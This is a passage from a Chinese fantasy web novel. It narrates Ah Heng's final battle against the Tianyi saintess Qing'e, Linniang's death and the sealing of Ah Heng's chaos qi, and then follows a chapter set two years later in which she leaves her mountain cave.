万刃穿身之痛令阿姮痛苦非常,她沾血的眼睫微颤,低头看向自己肩头逐渐弥合的伤口,冷雨拂过她的脸颊,她看到自己胸前那道若隐若现的神印。 原来,这便是他以心应誓的祷祝。 青峨轻而易举地压制住阿姮体内的火种之力,她放出浓烈的黑气,压向整片大地,妖魔因此而备受鼓舞,四海水族与凡人却被浓密的黑气压得骨□□碎。 慈济真君再度挣开天衣法器的束缚,回身见此,他一掌打向青峨,霞光拂来,青峨侧身一避,阿姮立即抓住此时机挣脱紫火。 青峨一面应付慈济真君,一面借手背玉片冷冷向下一瞥,天衣法器随她意动,结成法阵,数道寒光穿透阿姮的身躯。 “阿姮!” 霖娘眼见阿姮自云端坠落下来,她立即飞身掠去,却被天衣法器形成的光障阻挡在外,她拍打光障:“阿姮!” 阿姮被不断降下的寒光钉在一片泥污里,剧烈的疼痛之下,她模糊望向光障外的霖娘,鲜血盈满唇齿,她艰难出声:“赵霖娘……你不许过来……” 霖娘用菱花小镜不断击打着光障。 “赵霖娘,你听不懂……人话吗?”又一道寒光钉入阿姮后背,她的脸颊重重抵在泥泞之中,“离我,离我……远一点……” “积玉!积玉!” 霖娘回头,大声喊道。 积玉听到她的声音,望向那光障,他立即要飞身过去,却被天衣法器降下的雷电劈中,后背顿时皮开肉绽,他整个人倒在地上。 黑气压得人越法喘不过气。 阿姮勉强仰起脸,撞见青峨那副四分五裂的面容上一分莫名的笑意,阿姮瞳孔一颤,漫天紫火涌向光障外的霖娘,珍珠云肩散落满地,紫火烧穿霖娘的胸口。 霖娘其实没觉得疼,但却忽然失去所有的力气,倒在光障之外。 “霖娘……赵霖娘!” 她觉得周遭纷杂的声音离她很远,但她忽然听见阿姮的声音,她抬起眼帘,撞见光障之中阿姮那双暗红的,湿润的眼。 霖娘看到她浑身血红,伤口不断愈合,又不断被寒光嵌入血肉,她的眼眶也湿润了,张张嘴,她才发现自己连说话的力气都不够了:“阿姮……你疼不疼啊?” 阿姮的指甲几乎嵌入泥泞里,神情扭曲:“赵霖娘,你是傻子吗?谁准你过来的?我让你走……我让你走你听不到吗?” “我是元真夫人的弟子,我的使命告诉我,任何时候都不能退缩,无论是为世人,还是为你,我都心甘情愿,”霖娘望着她,轻声道,“你知道吗阿姮,如果不是遇见你,我可能是这世上最可怜的水鬼,没有人发现我,没有人救我,是你给我希望,让我脱离苦海,摆脱彷徨,找到我自己的道,我希望你知道,无论旁人如何看你,我最明白你的坚韧,你的不屈,你的可贵,你是妖,是这世上最好的妖。” “我与阿姮,永远是最好的朋友。” 阿姮眼见她的身影越来越淡,她咬紧牙关,努力地挪动身躯,锋利的寒光再度撕裂她的血肉,她浑身颤抖,望着光障外的霖娘,手指挣扎着探向光障:“谁要听你说这些!你不准消失,不准……” 霖娘的身躯渐渐飞散成光,阿姮更加用力地挣扎,眼泪汹涌地跌出眼眶:“霖娘!赵霖娘!我不准你消失……” “好好活下去,阿姮。” 霖娘看向自己逐渐破碎的身躯,她勉强抬起手,一道符咒显现在她胸前,这是她从积玉那里求来的传音符,她催动符咒的刹那,被她藏在黑水村中的柳行云的声音从符咒中传出:“霖娘……?” “柳郎。” 霖娘的眼眶被泪意填满,她仰面望天,漆黑极了:“忘了我吧,今生,我们注定无缘了。” 被她锁在黑水村家中的柳行云浑身一震,他立即起身去开门,可无论他怎么用力,那道门就是打不开,他颤声喊道:“霖娘……你怎么了?你放我出来,放我出来好不好?” “柳郎,对不起。” 霖娘闭起眼,泪如雨下,她的声音越来越轻:“还有,这辈子,你都不许再讨厌蜘蛛了……” 话音方落,霖娘的身影骤然破碎成烟,那道符咒也顷刻损毁,淹没了柳行云的声音。 “……霖娘?” 阿姮愣愣地望着那片散开的烟。 冰冷的雨水冲刷着阿姮的眼睑,她看到天上慈济真君被青峨放出的火种之力灼伤肩背,鲜血混合熔岩般的金色流淌,浓烈的黑气铺天盖地,压得地上众人死伤无数,风中,清气和浊气胡乱碰撞,没有人听到那水火不容的声音,仿佛只在她的耳里响个不停。 银尾法绳不断撞击着光障,凌乱的清音敲击她的耳膜,她看到那法绳,泪意又涌,胸中滔天的愤怒,憎恨灼烧着她的每一寸血肉。 她要青峨死。 她要青峨碎尸万段。 她双手用力地嵌在泥污中,嗜杀的本能将她整个人包裹,一双暗红的眼无比阴冷,胸中却有一道神印柔和地笼罩她的识海,她内观识海,万木春化成的金光仍紧紧裹住她的元神,她心念一动,将金光从她元神中一寸,一寸拔出。 那是比天衣法器的寒光加身还要更深刻的痛楚,仿佛碾碎她的血肉,像从前天衣人撕碎她的神魂那样,她每拔一寸,就好像又将自己撕碎一次。 她不怕青峨夺舍,不怕这副身躯从此归青峨所有。 因为,她已经没有什么好失去的了。 金光彻底从元神中拔除的刹那,她神志都变得模糊,识海之中,碧瑛的道法始终悬立在那里,她模糊的目光划过字痕,不能以火种之力与青峨相抗,她便只能用她从碧瑛那里接过的道。 天地之间,神殒的精纯清气,玄门身死而残留的清气,连同数不清的妖魔死后留下的浊气全都被她顷刻的心念勾动,铺天盖地地涌向她。 炁常无形,在青峨眼中,便只见一阵狂风破开天衣法阵,剧烈的风环绕阿姮,清与浊争先恐后地钻入她的身躯,涌向她的真身。 阿姮已经痛到麻木,她陷在泥泞中颤抖,翻滚,胸腔里的火种因为清浊两气汹涌的灌入而烦躁不安,忽然间,阿姮听到一个声音: “你在恨吗?” 那女声问她:“是因为失去最珍贵的人,所以恨吗?” 那绝不是万木春的声音。 阿姮迟钝的神思反应片刻,她干裂出血的嘴唇翕动:“……璇红?” 那声音平和极了,全然不像阿姮所认识的璇红,可分明又是她的声音:“阿姮,就让我留在这世间最后的一缕恨来助你。” 璇红的声音消失了。 阿姮却觉得胸腔里有一颗火种是那么的滚烫,它在不断地变化,不断地叫嚣,最终,它占据主位,将另一枚火种制住,与此同时,阿姮觉得自己的真身因无穷的清气与浊气的灌入而彻底粉碎了所有的天衣符纹。 束缚骤然尽消,阿姮忽然身轻,她翻身一掌,红云烈焰冲散道道寒光,银尾法绳落入她手,她飞身向上,法绳冷冽的银光闪过,天衣法阵轰然碎裂。 此时,慈济真君正被青峨的紫火逼得退无可退,千钧一发,银尾法绳穿云破雨,缠住他的腰身,将他向后猛然一拽。 他抬起头,只见阿姮与她擦身而过,焦黑的万木春破开重重黑云,直逼青峨面门,青峨被凛冽的风擦掉一寸脸皮,露出一片血红,她翻身后退,侧身之际,手背玉片映出阿姮的身影,青峨难掩惊谔:“怎么可能……你怎么会摆脱得了我天衣的法则?” 即便阿姮可以消除真身中残存的所有天衣符纹,她也无法迫使火种跳出其原始的法则,伤害天衣神族才对! “你们果真了解你们造出来的东西吗?” 万木春落回阿姮手中,银尾法绳悬与她身侧,她抬手擦去脸颊残留的血迹,浑身的伤口如数弥合,她从未觉得自己的身躯如此轻盈,如此自由,她暗红的眼盯住青峨,尽是阴冷的杀意:“你也来尝尝火种摧毁一切的滋味吧。” 阿姮顷刻身化红雾,弥漫的红雾抵开那些死死压在众人身上的黑气,她瞬息出现在青峨面前,万木春迸发出无比锋锐的剑意劈向青峨,青峨胸中化出法器,黑气催动法器幻化刀兵荡开重重剑意,震荡山河。 “阿姮姑娘,我来助你!” 慈济真君强撑身躯,目光如炬,施法降下道道金霞,攻向青峨,地上众人因红雾驱散黑气而暂得喘息之机,他们立即振作精神,与残存的妖魔杀成一团。 天昏地暗,水倾地陷。 整个赤戎天翻地覆,无穷的清气与浊气触碰阿姮的感知,它们不断地钻入她的真身,她仿佛也在瞬息之间读懂陨灭的神,死去的玄门人一生叩问的道,她也看尽那些妖魔的不甘与贪婪,无尽的清与浊融化在阿姮的真身之中,剧烈的狂风随她意动,锋利的炁不断刮过青峨的身躯,剐下她的皮肉。 青峨痛苦得五官扭曲,满脸血红,她尖叫起来,越来越多的天衣法器从她胸腔中飞旋而出,剧烈的黑气催动着它们扑向四方。 慈济真君被剧烈的黑气灼伤,抬眼只见黑气弥漫,阿姮的身影全无,他抬袖挥出霞光,霞光艰难劈开黑气,一缕红雾流转其中,陡然爆裂出耀目的金电,金电化成万木春,阿姮显出身形,一手握住万木春,剧烈的炁逆着浓烈的黑气势如破竹,骤然缠住青峨的四肢,一枚青色的龙鳞飞出阿姮的衣襟,万木春的枝尖推着那片龙鳞骤然刺入青峨的胸腔,银尾法绳缠住她的颈项,鲜血迸溅,擦过阿姮的脸颊。 紫目神窍的机括停止运转。 青峨大睁着血红的眼眶,她的脸上已经拼凑不出一块好皮,周遭的风变得很轻,却还是一寸寸刮过她的血肉,带给她极致的痛苦。 “大长老……” 青峨喉咙挤出声音。 阿姮垂眸,视线从尸山血海缓缓移过,瞥见那须发花白的老者,他躺在血污里,胸口有一个血洞,紫目神窍已碎在血肉里:“你后悔了?想让他带你走么?可惜,他已经死了。” 青峨脸上没有恐惧,亦没有任何悔意,她血红空洞的眼眶仿佛被锋利的杀气撑开,撑得流出血来:“为什么?你到底是如何做到让我天衣神族的火种反过来伤害我的?这是我天衣神族设下的法则,牢不可破的法则!” “法则?这世上哪有什么牢不可破的法则?”炁轻柔地拂过阿姮的鬓发,环绕在她身边,她浑身上下被青峨划出的伤口又渐渐弥合,“青峨,我问你,你对小山,可曾有过一分真心?” 忽然再听到这个名字,青峨似乎愣了一下,紧接着,她四分五裂的脸顷刻被尖锐的愤怒撕裂得更狠,她的声音陡然尖利:“你还念着他……为什么?真心有什么重要?他是个凡人!低贱弱小的凡人!他和别人一样试图用他们的情来折磨我,束缚我!” 阿姮心念一动,缠住青峨颈项的银尾法绳顿时收得更紧,鳞片锋利的棱角嵌入她的血肉,阿姮逼近她:“根本没有任何人折磨你束缚你!是你们天衣人好好的人不做,非要用冰冷的紫目神窍代替血肉心脏以求长生,可人没有心,情志便会逐渐消磨,你以为你们剥离的是一颗血肉心,实则是亲手剥离了你们的人性,因为没有人性,所以你们不爱,不恨,不怜悯,不相信…… 你们真傻,九仪开混沌,造三界,使世间花草虫鱼,飞禽走兽有了拥有情志的机会,可你们却热衷于将自己变成不智的怪物……你是个情志还未完全消失的怪物,你以为是人的情在影响你,实际上,是你自己仅存的人性让你感受到小山的善意,你为此而愤怒,痛苦,焦躁,你认为这是小山的错,可这一切真是他的错吗?” 银尾法绳缠得更紧,青峨整个脖颈血肉模糊,她抓住法绳,艰难出声:“是他的错,就是他的错……” 阿姮神情阴冷,法绳更用力地嵌入青峨的皮肉。 “你以为世间妖邪多为恶欲俘虏,他们无穷无尽的恶欲最能助长天衣火种的力量,”阿姮盯住她,“可你根本不明白,善恶皆为人性,妖的恶,也从人性中滋生,这世上最能助长天衣火种的恶欲,正来自于你从头到尾都瞧不起的——人。” 阿姮的胸腔中,除九尾狐妖的那枚火种之外,另一枚,是包裹了璇红无尽恨意的火种,璇红的恨,笼盖她整个破败的人生,从无尽的挣扎,无尽的痛苦中来,那是璇红全部的情志,比任何妖邪都要饱满的情志,阿姮借助她的恨彻底改变了那枚火种,挣脱了所谓的天衣法则。 而清峨体内的火种,一枚是惠山元君的私心,另一枚,是小山纯洁无暇的赤子之心,即便青峨以妖邪的无尽恶欲填满它们,也抵不过璇红那一腔鲜活的恨。 “不可能……” 青峨满口是血:“不可能!” 万木春又深扎一寸,青峨口中又涌出血来,她忽然轻声笑:“……我是天衣圣女,是父王唯一的血脉……我身负天衣神王的神通,这个世上只有我能肩负起光复天衣神族的重任,区区龙鳞,你想杀我?” “一枚不够吗?” 阿姮手指一动,她怀中那枚破布荷包里顿时飞出一枚龙鳞,龙鳞猛地嵌入青峨的胸腔,青峨顿时发出痛苦的尖叫,她听到自己胸腔里紫目神窍碎裂的声音,她血红的脸上尽是惶恐:“不!我不能死!我要活着!我是父王最有用的女儿!只有我可以光复天衣!我不要死!不要死!” 爆裂声响。 青峨浑身血肉连同她的紫目神窍齐齐炸开。 两枚火种飞旋而出,钻入阿姮的胸腔,象征天衣神王的神通的幽冷紫火悄然嵌入地下,浸入地底,竟然完好无损地重回禁锢天衣人的深渊。 四枚火种齐聚,在阿姮的胸腔里翻来覆去,她剧痛难忍,摔下云端,天地间剧烈的风朝她袭卷而来,融在风中的清浊两气疯狂地涌来,不断地钻入她的身躯,阿姮觉得浑身血肉都要撕裂,整个混沌真身都要爆开,可她却根本没有办法阻止这些炁无休止地往她真身里钻,她在泥泞血污中痛苦地翻滚,不受控的炁刮过江河,卷浪千里,撕裂山岳,地陷树折。 众人被这狂风刮得睁不开眼,连站也站不稳,正不知如何是好,却发觉忽然之间,那凛寒尖锐的风顷刻变得柔和,轻盈。 风停,雨也止。 云开雾散,天地分明。 残存的妖魔群龙无首,如今正惶惶不安,那何罗鱼忽然化出巨大的身形,鸟目狰狞,万斤重的长戟挥向阿姮:“这天上地下该是妖的乐土,这世间本该从此无神,多年所求……一朝成空!是你摧毁了我的道!” 戟锋裹满他的不甘与愤恨,威风凛凛地朝躺在泥污中的阿姮劈去,忽然狂风骤起,擦过戟锋,划出一片铮然刺耳之声,阿姮周身红云烈焰顷刻爆发,何罗鱼毫无防备,被那强烈的气流震飞出去,茫茫白烟忽起,何罗鱼在那淡薄的烟气之中,鸟目下视,只见自己巨大的爪子骤然褪去尖利如刃的指甲,紧接着,一双爪子倏尔变得极小,长出细密柔软的绒毛,何罗鱼充盈着愤怒的鸟目陡然迸发剧烈的惊恐:“怎么会这样?不……” 话未尽,他的鸟喙却忽然发不出人言,他恐惧地挣扎,却眼看着自己庞大的身躯幻化缩小,他摔在地上,如一条鲤鱼那般大,还没弹跳两下,万斤重的长戟压下来,将他的身躯压了个粉碎。 何罗鱼一直以妖相示人,而跟在他身后的妖怪却大多维持着人形,他们被弥漫而来的红云烈焰所波及,还没来得及反应,身上便化出缕缕白烟,很快人形不复,皆现原形。 无论是残存的群妖,还是众人都被这一幕惊住了。 他们简直不敢相信自己的眼睛。 阳钧早已力竭,浑身是伤,他坐在昏迷不醒的积玉身侧,观那些现出原形的妖怪形貌,他脸上露出难言的惊谔:“竟然……妖性全无了?” 所谓妖性,即是妖的灵性。 世上的花草虫鱼,飞禽走兽有一部分因九仪分化混沌之气为清浊两气而有了开启灵智的机会,而失去妖性,则意味着他们又重新成为了不智的生灵。 “她……她是怪物!” 群妖中爆发惊恐的尖啸:“她会让我们重新变成蠢物!她会夺走我们的浊气!” 非只浊气。 阳钧分明感受到那些死去的同门,陨灭的神仙,他们的清气也在涌向阿姮。 天空中阴沉的雷电消散了,天衣神族精心铸造的结界也出现了裂口,妖魔们疯狂地逃跑,他们要逃离这里,更要逃离那个会夺走他们所有妖性的怪物! 赤戎从未出现过今日这般清朗的天气,明亮的日光照来,阿姮几乎无法睁眼,她触摸胸口,发觉那四枚火种竟然消失了,或者应该说,它们融入了她的真身之中,而那些清气和浊气被她的真身融合成了一种东西。 忽然,一道身影挡在她身前,为她挡去那过分刺眼的阳光。 阿姮抬起脸,对上慈济真君那双复杂的眼。 “阿姮姑娘,你的真身……可是混沌之气?” 此时,炽盛的金霞漫入结界破口,绮丽的霞光铺满天际,显现一道淡薄的虚影,那身影金衣宝冠,手持玉笏,神貌端严,威仪万方。 慈济真君与仅存的几位神仙立即俯身:“拜见天帝陛下!” 还清醒的玄门众人亦连忙大拜天帝。 “天衣圣女一死,她留存于人间的火种之力即刻烟消云散,今日过后,四方妖祸必成颓势,这一切都仰赖诸卿。” 天帝俯瞰尸山血海,面露悲悯:“是朕对不住诸卿。” “天帝陛下万莫如此!”慈济真君俯身说道。 天帝无言,目光却在地上轻轻移过,骤然停滞在阿姮身上,慈济真君见状,神情一滞,垂首,嗓音不免有些艰涩:“天帝陛下,白泽殿下他……” 慈济真君忽然就说不出口。 “朕知道……” 天帝紧紧攥住手,眼眶骤然湿润:“朕知道了。” 他这双神目是那样轻易看穿阿姮身上的那道神印:“阿姮,你是这世间最后一缕混沌之气所化,九仪娘娘当初将混沌之气分化为水火不容的清浊两气,如今,它们却在你的体内相融,你可知,你拥有这种化清浊两气为混沌之气的能力,而这种能力可以轻易剥夺神的根基,亦可轻易剥夺妖的灵智,你可以使这世上再也无神,亦无妖,你的能力足以毁灭坍鸿之后,九仪娘娘铸造的所有秩序。” “你想杀我吗?” 阿姮缓缓起身跪坐在血污泥泞里,一手挽着银尾法绳,一手握着万木春,她仰面望向灿烂金霞中的天帝。 天帝与她相视。 “我儿以心应誓,以神心作为对你的祷祝,从此这世间所有的福泽都会因此而维护你,他盼你……身同日月,自在年年,所以,你不会死,因为他的祷祝,谁也无法杀死你。” 身同日月,自在年年。 阿姮扯了一下嘴角,眼泪无序地跌出眼眶。 他的神骨,为天下苍生而镇于神山,融于神山。 他的神心,则成为她一个人的护身符,弥合她所有的伤痕,保护她永永远远。 可是, 可是她现在觉得,活着其实不是那么好的事情了。 “难道,你们要放了我吗?” 阿姮问道。 众神面面相觑,天地寂无一声,此时,忽然有人高声道:“天帝陛下,阿姮姑娘虽为妖身,生来便被天衣人炼化,天衣人要她做一件颠覆三界的杀器,可她身负火种,却始终不肯屈服于天衣人强加于她的使命,今日,是她拼死对抗天衣圣女,才有我等生还之机,她身无罪业,本该自由。” 阿姮循声望去,竟是那无晦子,他浑身是伤,师刀已断,道行尽毁,以手中一柄剑强撑着才不至于倒下。 “是啊……天帝陛下,阿姮姑娘诛杀天衣圣女,本是功德无量,弟子斗胆,恳请天帝陛下,放她自由!”那三真道人也还留有一口气在,比起无晦子,他也没好到哪里去,此时瘫在地上,只有这张嘴还有力气发出声音。 “阿姮姑娘诛杀天衣圣女,救我等于危难之间,禁锢,镇压,那本是对付天衣人的手段,绝不该如此待她……”一名女仙说着,却又不禁自问,可混沌之气又当如何呢?那是足以摧毁九仪娘娘与曾经那些为现今三界而付出性命的神仙的心血的可怕能力,秩序的失衡,皆只在阿姮一念之间。 他们都亲眼见证,阿姮从来不是天衣人的杀器,天衣人一次次撕碎她的神魂,她一次次长出自己的神魂,她是她自己,永远是她自己。 可若是混沌之气在她的体内失控呢? 她因白泽祷祝而不死不灭。 神仙奈何不了她,妖魔杀不死她。 天地万物在她股掌之间。 所谓匹夫无罪,怀璧其罪。 “混沌之气会使这天地重归浑浊,不利万物生灵,当初九仪娘娘分化混沌,再造三界,使天地之间生出诸多此前从未有过的生灵,由花草虫鱼,飞禽走兽异化而成的妖虽不在娘娘的意料之中,可他们拥有灵智不易,也算一种缘法。” 慈济真君看向阿姮,叹了口气:“阿姮姑娘,我等身为神明其实并不怕你的能力是否撼动我们的根基,只要天地有序,万物有常,这世上可以没有神仙,却不可以没有万物生灵。” 慈济真君是第一次经历这样两难的境地,可于天帝,以及其他在十二金阙数千年的神仙却觉得今日这情形,多像是当初他们有心死战,最终却只能眼睁睁看着年幼的白泽殿下身入赤戎,孤军奋战。 此前那千百年的太平,是白泽殿下孤身一人换来的。 而今,无论阿姮心中有无苍生,无论她心中究竟以何为念,今日之后的下一个太平,是她成就的。 从前烙印在众神心头的羞惭,此刻又在同一个地方,重新烙印一遍。 “阿姮。” 灿烂的云霞中,天帝望着阿姮:“作为父亲,我相信我儿,他做神,做人,都信你,我也该像他一样信你不会扰乱天地秩序。” “可作为天帝,朕肩负着十二金阙,天下苍生,朕……却不能以个人之信任轻易决断这一切。” 可他究竟该如何做呢? 天帝端详着阿姮惨白的脸颊,她的神情是那样平静。 身负毁坏秩序的能力,这并不是她的错。 可他到底要如何决断,才能对得起九仪,对得起苍生,又要如何……才能对得起阿姮的百折不屈? 天帝自从九仪手中接过重担,执掌十二金阙以来,从未有一件事如今日这般难以决断。 清风柔和地拂过阿姮凌乱的鬓发,忽然之间,她只觉手中滚烫,指节不由一松,万木春骤然脱手,飞旋于半空之中,迸发出炽盛的金光,犹如阳火。 阿姮被那光芒刺得视线一花。 朦胧中,她似乎看见万木春焦黑的刃身中有什么东西剥离出来,她的眼睛适应了那强烈的光芒,看清那竟是一道金印。 “那是什么?” 这一切来得太快,太突然,地上上清紫霄宫相微殿殿师守朴乍见那金印,却根本辨认不出那金印中反复流动的晦涩咒文。 天下间,竟还有他相微殿参不透的咒印? 莫说是他,便是慈济真君与他的同僚们此刻将那金印看了又看,却也根本看不出那到底是什么东西。 天帝淡薄的影子似乎随流霞而有所波动,他是从坍鸿时期的血战中存活下来的神,他一眼便认出那金印:“九仪娘娘曾锻造过一种咒印,那上面的每一枚咒文,都是她以自身之血亲手镌刻,此咒印曾封印过天衣神王的一身神通。” 只不过后来天衣神王血肉尽毁,借器而生,此咒印封不住紫目神窍冰冷的机括,才给了天衣圣女继承神通的机会。 万木春化为金光,落到阿姮发间凝成一枚焦簪,顷刻绽开鲜艳的春花,那金印也随之缓缓坠下,悬于阿姮眼前。 “阿姮,你可愿让它封印你体内的混沌之气?” 天帝隔着云霞,望向明亮天光之下,那乌发红眸的少女。 阿姮凝视着眼前这道浮动的金印。 她缓缓抬起眼帘,目光扫过近前的慈济真君,又一一扫过诸神,他们的挣扎,忧虑,惭愧全都写在脸上。 阿姮早已见识过,杀不尽的天衣人使他们这些神仙前赴后继的神殒。 他们从来不惧怕所谓魂飞魄散,永远消失。 如今,却因她这个身负混沌之气,足以粉碎一切秩序,毁灭一切安宁的存在而无法果断,甚至不知所措。 阿姮抬起手,那金印飞来,悬于她的掌心。 金光映照她苍白瘦削的脸。 “天帝,你是爱他的,对吗?” 阿姮忽然说。 天帝眼瞳一颤,强压的痛意猝不及防密密麻麻地碾过他心上。 “我也是。” 天帝听见阿姮说道。 灿烂的霞光烤干了赤戎这片黑山黑水之间的雾气,天色明亮得不像话,风也柔软得不像话,天帝下视地面,只见阿姮毫不犹豫地将那金印送入胸口。 第89章 第89章 清风细雨,也算他的声息。…… 日光穿过浓云投落四方, 只余一片淡薄的冷光,山间树木浓昏,雾色迷蒙,山花稀疏地点缀其间, 一条黑水河自始至终喧嚣地流淌着, 岸边老树浓荫如盖。 昨夜下过一场雨, 淙淙彻暮,今日山间雾浓,柳行云踏过泥泞狭窄的山道, 路过河畔, 向着浓雾更深处去。 自那场大战之后, 赤戎地形大易, 从前黑水村几辈人修出的路早已损毁,仿佛所有的人迹都一夕无存。 柳行云停在那座神山下, 抬头仰望着它的巍峨。 这里什么都变了, 连黑水河的流向也改了,唯有这座山始终屹立于此, 不折不弯。 神山上被黑水村人凿出的鸟道, 绑缚的云梯都还在, 柳行云顺着云梯向上爬, 走过极窄的鸟道, 弯身进入一个洞窟之中。 洞口虽窄,进了里面却开阔起来,经历过那场战争, 神山外面山石裸露,嶙峋萧索,而这洞窟之中却不知如何生出葱茏花木, 繁花各色,娇艳欲滴,兰草凝碧,莹露微垂,绿意盎然的藤蔓几乎覆盖整片峻峭石壁,清风阵阵,藤叶摇摇如青碧纱幔一般,这根本不是赤戎能长出的鲜活颜色。 柳行云拂开藤帘往里面去,更加馥郁的花香迎面而来,石壁缝隙里偶尔滴答的水珠清澈悦耳,不知从哪处裂隙中长出的树青青如盖,点缀着一颗颗鲜红的果子,不甚明亮的光线里,那剔透晶莹的玉台形如一只巨大的兽爪,一道身影侧卧其中,藤蔓轻轻环绕她,碧绿的叶,洁白的花,好似锦被上连簇的刺绣,她的面容融在浓郁的阴影里,柳行云走近,她也纹丝未动,好似仍在睡梦之中。 柳行云将手中的竹篮放下,取出其中的饭菜放到一边,一声不吭地转身掀开藤帘出去了。 他下了云梯,离开神山,顺原路回到村中,他原先的家早屋塌房倒,不复存在,幸而赵家还算完好,他将院子里的落叶打扫干净,擦过桌椅,在茅草檐下支了一张凳子坐,手里拿个馒头咬了一口,茅草中的积雨还未落尽,他听见水声,抬起头,青灰色的天光中,一缕细丝从茅草中垂下来,一只蜘蛛挂在那被雨湿的蛛丝上摇摇晃晃,模样狼狈。 柳行云看了会儿。 他抬起手,在半空中顿了一下,最终,指尖触碰到那只小蜘蛛的刹那,它像是抓住救命稻草,攀上他的指节。 柳行云浑身一抖。 他捏了块馒头碎粒,试探地放到虎口,那小蜘蛛在他手背打转,凑近那馒头粒,又立即退开。 像是嫌弃。 蜘蛛好像并不喜欢吃这些,柳行云俯身,蜘蛛顺着他的手背,轻轻落到地上,很快钻入石阶下的缝隙,很快失踪。 柳行云将馒头放下了。 望着远处黑山黑水,薄雾淡烟,他从怀中取出一只笛子,悠扬的调子自笛孔倾泻而出,山风缓缓,笛声随风而去,愈发宛转哀烈。 泪意缓缓裹满他的眼眶。 神山石窟中,卧于玉台的少女忽然皱起眉头,笛声一阵一阵敲击她的耳膜,她意识还不算清醒,耳中却莫名响起女子的哀吟: “昔我往矣,杨柳依依。” 起初,是蛛女的声音,混合着她犹如落珠的琵琶声。 “今我来思,雨雪霏霏……” 渐渐的,这声音变化成霖娘的声音:“行道迟迟,载渴载饥。” “我心伤悲,莫知我哀……” 少女睁眼,她苍白清瘦的脸上浮出难言的烦躁,坐起身,覆盖在她身上的藤蔓顷刻散去,她随手抓来枝上一颗果子,用力一扔:“吹多少遍了,一天天就知道吹你那破笛子!吵死人了!” 清风拂开藤帘,果子飞出石窟,越过一片雾蒙蒙的山水,精准地砸上柳行云的脑袋。 柳行云满眼的泪被这一砸,直接砸出了眼眶。 低下头,他看见掉在脚边的果子。 用衣袖擦了一把脸,他俯身捡起果子,咬了一口。 石窟中花草仿佛感知少女心绪,随清风簌簌而动,少女转过脸,看到一旁冒着热气的饭菜,她拧起的眉头忽然松了松。 石窟外寂无一声,她却忽然从那份静谧中敏锐地发觉剑意与流动的炁彼此相擦而过的声音,她隔着藤帘,盯住洞口。 很快,洞口的光线暗了一瞬,有人来了。 那步履声越来越近。 一只手忽然掀开藤帘,背着金剑的青年露出那张俊秀的脸,他似乎被这洞窟中的勃勃生机吓了一跳,也没防备掀开帘子又看到一片结着果子的树木,满丛的花草,这哪里像是个石窟,简直像个仙境。 他的目光倏尔与那玉台上的少女一对。 “阿姮!” 他欣喜非常,快步进去:“你终于肯醒来了?” “什么叫终于肯醒?”阿姮一手撑在玉台上,歪着脑袋看他,“我每天准时醒,准时睡,作息不知有多规律,你说得我好像很能睡似的。” “可我听守界桥的神仙说,你一直睡在这里,不肯出去。” 青年走近她,说道。 自天衣神族在赤戎设下的结界破损之后,天帝便命神仙在赤戎修界桥,使赤戎无法再漂浮不定,方便上界看守神山封印。 阿姮将他上下打量一番,见他一身月白锦袍,头戴白玉冠,衣饰非常,不由一笑:“积玉,你如今是长进了?” 积玉知道她在故意揶揄,他有点不好意思:“之前那场大战中我师父受了重伤,如今还在闭关,我是暂代他掌管药王殿。” “那你的伤呢?” 阿姮问道。 “我的伤已经不碍事了。” 积玉说着,端详着阿姮的脸色:“我那时伤了腿,不良于行,到今年才好些,我一直想来找你,阿姮,已经两年了,你真的要一直待在这里不出去吗?” “原来已经两年了?” 阿姮的目光越过他,落在那摇摇晃晃的藤帘上。 “阿姮。” 积玉喊了声,不禁蹙起眉头:“你自己最知道你的不易,你好不容易才得到今日的自由,却又自囚于此……” 他张了张口,好一会儿,说:“他不会希望你这样的。” 那是个积玉再也不敢宣之于口的名字。 积玉此刻提起,心中仍有隐痛难止,他垂下眼帘:“我真不知道你们两个为什么都这样,从前,因为你在赤戎不得自由,所以他在人间亦不敢自释,我曾以为他对自己极致严苛的约束,是因为他是师祖和师父选中的药王殿未来的殿师,可是,原来只有我这么想……” “你就别□□的心了。” 阿姮攥紧指节,说道。 积玉却抬起脸:“我们是朋友,我们也是很好的朋友,不是吗?” 阿姮对上他的目光,一愣。 “我也盼你好。” 他说。 洞中不知何处来的清风,拂过阿姮的鬓发,她一下转过脸,手肘抵在膝上:“你们药王殿是太闲了?腿一好就千里迢迢跑来说这些。” 积玉皱眉:“阿姮……” “我没有自囚。” 阿姮忽然打断他,她对上积玉顷刻困惑的目光,说:“我从来没有自囚,你说得对,我是好不容易得来自由,我只是需要安静地想清楚一些事,回去吧,积玉,你去担你想要担负的责任,差不多便是今日,我也该离开这里了。” “你真的要离开?” 积玉顿时露出欣喜的神情,又问她:“要去哪儿?” “不知道。” 阿姮拨弄着玉台边缘的藤花:“你们都说人间好,人间那么大,我走到哪里便算哪里吧。” 积玉点点头:“既然如此,我安心多了。” 积玉雷厉风行,千里迢迢地赶来,一确定阿姮真的会离开这里,他便立即要赶回药王殿去处理殿师积压的事务,他掀开藤帘要往外走,余光却被一缕金色的莹光触碰,他再定睛一看,藤帘摇摇,哪里来的莹光? 积玉走到洞口,他回过头,帘内阿姮影子模糊。 “阿姮,以后来上清紫霄宫找我喝酒吧。” 他说。 阿姮没有说话,盯着积玉的影子消失在洞口,她在玉台上呆呆坐着,直到夕阳灿烂的光辉穿过帘子划过她的眼皮。 一边的饭菜早已凉透。 阿姮想了想,还是端起来吃了一口。 只是这一口,她的脸色变了。 她面无表情地吐出嘴里的东西,端详片刻,果然是山菇。 她丢开碗筷起身下了玉台。 目光一一划过洞中花草,春华秋实,鼻息之间尽是馥郁的香气,最终,她的视线定在玉台,晶莹剔透,蜷握如兽爪。 她摸了摸爪子,轻声说道: “小神仙,我走了。” 洞中所结的果子甘美非常,阿姮收拾了一堆,掀帘而出,她头也不回,并未发现身后满窟鲜花碧草中有淡金色的莹光轻盈飞浮,顷刻之间,满窟生机顿失,所有的花草,藤蔓,果木全都无影无踪,整个石窟又恢复原本的阴暗,潮湿,嶙峋。 那淡薄的莹光随风而动,与她的背影一同融入洞口那片明亮的光影之中。 阿姮立在狭窄的鸟道放眼眺望,那场大战之后,赤戎的地形几经改易,虽有神仙陨灭后的精纯清气滋养万物,却依旧黑山黑水,死气沉沉。 这里的山水始终浸透着天衣人的不甘与怨恨。 柳行云仍坐在檐下,因为那个把他脑袋砸出个包的果子,他没再吹笛子,果子吃完了,他就这样坐着,一坐就是大半天。 腹中忽然发出哀鸣。 他干脆拿起来那半块没吃完的馒头,正要送到嘴边咬一口,却忽然听见一道女声:“天天给我送饭菜,你自己就吃这玩意?” 柳行云一顿,他抬起脸,只见那少女乌发红眸,不知何时悄然出现在院中。 